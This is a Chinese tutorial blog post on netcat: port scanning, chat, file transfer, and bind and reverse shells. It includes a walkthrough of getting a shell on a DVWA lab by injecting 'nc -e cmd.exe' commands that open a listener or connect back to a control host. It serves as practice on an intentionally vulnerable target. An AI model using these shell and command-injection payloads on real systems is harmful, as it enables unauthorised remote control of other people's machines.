一、netcat基本使用

1.1 使用netcat探测端口是否开放

探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat。

nc -z -v 192.168.220.128 -      #z代表不交互要不然遇到交互的端口nc会阻塞,v代表打印端口情况不然扫了也没办理出,下来是IP和要扫描的端口

1.2 使用netcat实现局域网聊天

一端先启好监听:

nc -l 

另一端端进行连接:

nc 192.168.220.128 

连接之后的任一边的输入在另一边都可看到

1.3 使用netcat实现文件传输

和局域网聊天是原理一样的,不过把输入输出重定向到文件

接收入端先启好监听:

nc -l  > recv.txt

发送端进行发送:

nc 192.168.220.128  < send.txt

不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。

1.4 正向连接

控制机器主动连接受控端称为正向连接(2和3其实就和正向连接一样的,只是没执行shell而已)

受控端先启好监听:

nc -l -p  -e /bin/bash

控制端主动连接:

nc 192.168.220.129 

1.5 反向连接

反之控制端启好监听等受控端连接称为反向连接

控制端启好监听:

nc -lv 

受控端主动连接:

nc 192.168.220.128  -e /bin/bash

说明:

centos版本的nc没有-e选项,启监听时也不(能)用-p;而kali版本有-e选项且启监听必须用-p指定端口(不用-p会用随机端口)

二、使用nc获取shell示例

(本节为2019-07-29更新,本打算新写一篇,但一想感觉关联紧密还是在此文后附加更好)

去面试总被问到你有处理过什么比较难的问题吗、你有发现过什么比较严重的漏洞吗、你有攻击网站获取shell的经历吗之类的问题,每次总要答:我们做自己产品的渗透只要证明问题存在就可以了不需要你花很大的时间精力去研究这个漏洞能怎么最大化地利用,如果你研究着把系统搞挂了那更加不好。

但事实好像真的是,但渗透以来似乎就没有自主getshell的经历这委实有点说不过去。昨天和朋友学习被问反弹shell的问题,我说可以下次带电脑用dvwa来演示;回答时自信满满,但其实没真正实践过,今天就先来研究一下然后同时做个备忘。

2.1 环境搭建

DVWA所在主机:Windows 7、phpStudy、dvwa、Windows版nc(我这里安装在“D:\tools\netcat”)、ip地址10.10.6.91

搭配主机:Ubuntu 16.04(其实是什么系统都无所谓,因为作为控制端只需要其上的nc这一个命令)、ip地址10.10.6.92

前置操作:登录dvwa后切换至"DVWA Security"选项卡将安全级别设置为“Low”,然后切换至“Command injection”选项卡。

前置说明:可以使用nc的-d选项和windows的“start /b”两种方式实现nc的后台运行;

即便不使用后台运行,只要tcp连接建立那就算你关闭“Command injection”页面,该nc连接还是可用的;即后不后台运行,对于反弹shell没有什么影响,对于普通的正向shell那就只有已建立的连接可用,页面闭后端口就不会再监听。

2.2 普通正向shell获取操作

如下图所示,在文本框中输入以下命令:

10.10.6.94 & start /b D:\tools\netcat\nc.exe -l -p  -e c:\windows\system32\cmd.exe

点击提交后,在windows机器查看端口监听如下,端口2222被成功监听:

在搭配机器上连接监听地址如下,可以看到可成功连接,且可正常使用指定的“c:\windows\system32\cmd.exe”:

2.3 反弹shell获取操作

重置环境:windows上使用如“taskkill /f /pid 46420”形式杀除nc进程,搭配机上直接使用“Ctrl+C”中断nc连接。

先在搭配置上使用如下命令开启监听:

nc -l 

效果如下:

然后如下图所示,在文本框中输入以下命令:

10.10.6.94&D:\tools\netcat\nc.exe 10.10.6.92  -e c:\windows\system32\cmd.exe

点击提交后,在windows机器查看端口情况如下,可以看到已主动与搭配置的2222端口建立起一个连接:

再回到搭配机上可以看到,已自动切换至cmd窗口界面,尝试输入命令也可成功执行:

参考:

http://www.cnblogs.com/hyq20135317/p/5491298.html

http://www.2cto.com/article/201311/258748.html

http://blog.sina.com.cn/s/blog_71ce334a01015b1o.html

http://blog.csdn.net/yabingshi_tech/article/details/51821265

nc(netcat)扫描开放端口的更多相关文章

  1. nmap扫描开放端口

    nmap 192.168.1.1  -p1-65535 指定端口范围使用-p参数,如果不指定要扫描的端口,Nmap默认扫描从1到1024再加上nmap-services列出的端口 nmap-servi ...

  2. 使用nmap命令扫描开放端口

    1.安装nmap 1.下载nmap安装包 下载地址:http://www.nmap.com.cn/ 根据自己需求下载,各种版本都有,我下载的是windows版本,安装版的. 2.安装 基本都是无脑安装 ...

  3. nc(NetCat)命令

    瑞士军刀netcat官网:http://netcat.sourceforge.net/ 安装:yum install -y nc查询:rpm -q nc 语法:nc [-hlnruz][-g<网 ...

  4. nc/netcat命令

    nc/netcat命令 语法 nc/netcat(选项)(参数) 选项 -g<网关>:设置路由器跃程通信网关,最多设置8个: -G<指向器数目>:设置来源路由指向器,其数值为4 ...

  5. 12. nc/netcat 用法举例

    nc命令用法举例 什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可 ...

  6. socket mac终端调试工具 nc netcat

    今天想学点socket ,因此搜索socket 工具,找到了netCat工具.可以打开两个终端window ,实现终端之间的socket的收发信息,为以后学习socket调试做准备用吧.两个终端分别打 ...

  7. Hacker(14)----扫描目标计算机端口

    端口是目前计算机与外界的通道,因而黑客一旦锁定目标计算机,便会扫描该计算机中已经开放的端口,从而得到更多的有用信息.扫描目标计算机端口一般使用SuperScan.X-Scan等. 一.端口扫描原理 扫 ...

  8. centos7开放端口和防火墙设置

    centos7开放端口和防火墙设置. 查看防火墙状态: firewall-cmd --state 如果显示: not running 打开防火墙服务: systemctl start firewall ...

  9. Linux中检查本地系统上的开放端口列表的方法

    在 Linux 中很少有用于此目的的实用程序.然而,我提供了四个最重要的 Linux 命令来检查这一点. 你可以使用以下四个命令来完成这个工作.这些命令是非常出名的并被 Linux 管理员广泛使用.n ...

随机推荐

  1. 【BZOJ】3573: [Hnoi2014]米特运输

    题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=3573 屁话一堆,就是说: 1.一棵树中的每个点的每个儿子的权值之和要等于这个点的权值 2. ...

  2. CZK 的饮料店

    [题目描述] 一天,小学生 cyx 向你请教了一道他不会做的小学数学题,你瞄了一眼题目,发现题目长下面这样. czk 老板开了个饮料连锁店,连锁店共有 n 家,出售的饮料种类相同. 为了促销,czk ...

  3. ege demo

    #include <ege.h> const float base_speed = 0.5f; const float randspeed = 1.5f; //自定义函数,用来返回一个0 ...

  4. PHP直接将文件流转换为字符串

    有时候不需要图片直接输出到浏览器,需要如下处理! 输出到浏览器 $qrCode = new QrCode(); $qrCode ->setText('Life is too short to b ...

  5. Oracle(order by)

    传统数据查询只会按照设置的主键排列.如果现在对制定的列进行排序的操作,那么就必须通过 ORDER BY 子句控制. 排序语法: SELECT [DISTINCT] * | 列名称 [AS] 列别名, ...

  6. 自定义 Git - 配置 Git

    用git config配置 Git,要做的第一件事就是设置名字和邮箱地址: $ git config --global user.name "John Doe" $ git con ...

  7. [qt]qstring和string中文支持转换问题

    QString str2qstr(const string str) { return QString::fromLocal8Bit(str.data()); } string qstr2str(co ...

  8. 力扣(LeetCode) 27. 移除元素

    给定一个数组 nums 和一个值 val,你需要原地移除所有数值等于 val 的元素,返回移除后数组的新长度. 不要使用额外的数组空间,你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成 ...

  9. anaconda3 安装opencv3.4.2 cuda9.2 mint19(ubuntu 18.04)

    从opencv1的时代,编译这玩意就不是太轻松.之前都是在win下.2.x时代,开始用cmake GUI,选vs版本,x86 x64 各种依赖库选项,debug release,... 现在3.4了, ...

  10. mac软件

    1. http://www.ifunmac.com/ 2.Mac安装软件时提示已损坏的解决方法 http://www.jianshu.com/p/3d04a2292fcd 3.mac以后有时间在装的软 ...